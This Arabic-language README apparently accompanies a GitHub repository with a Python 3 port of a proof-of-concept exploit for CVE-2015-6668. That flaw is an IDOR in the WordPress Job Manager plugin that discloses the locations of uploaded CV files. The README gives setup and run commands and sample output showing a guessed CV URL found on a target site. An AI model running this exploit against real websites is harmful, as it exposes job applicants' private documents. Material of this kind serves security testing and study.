CVE-2015-6668

إثبات المفهوم (POC) الخاص بـ Evangelos Mourikis لثغرة CVE-2015-6668، مُحوَّل إلى Python 3

يستغل ثغرة IDOR في إضافة Job Manager لووردبريس.

تم اختباره على Python 3.11.9

المراجع

NIST CVE WPScan Vuln DB

الإعداد والاستخدام

استنسخ المستودع، وجهّز البيئة الافتراضية (إذا رغبت)، وثبّت requests، ثم شغّل السكربت باستخدام Python 3.

الاستنساخ

git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668

البيئة الافتراضية لبايثون (اختياري)

python3 -m venv .venv

• Bash

source .venv/bin/activate

• Powershell

.\.venv\Scripts\activate

تثبيت requests

python3 -m pip install requests

تشغيل exploit.py

python3 ./exploit.py

المخرجات

$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg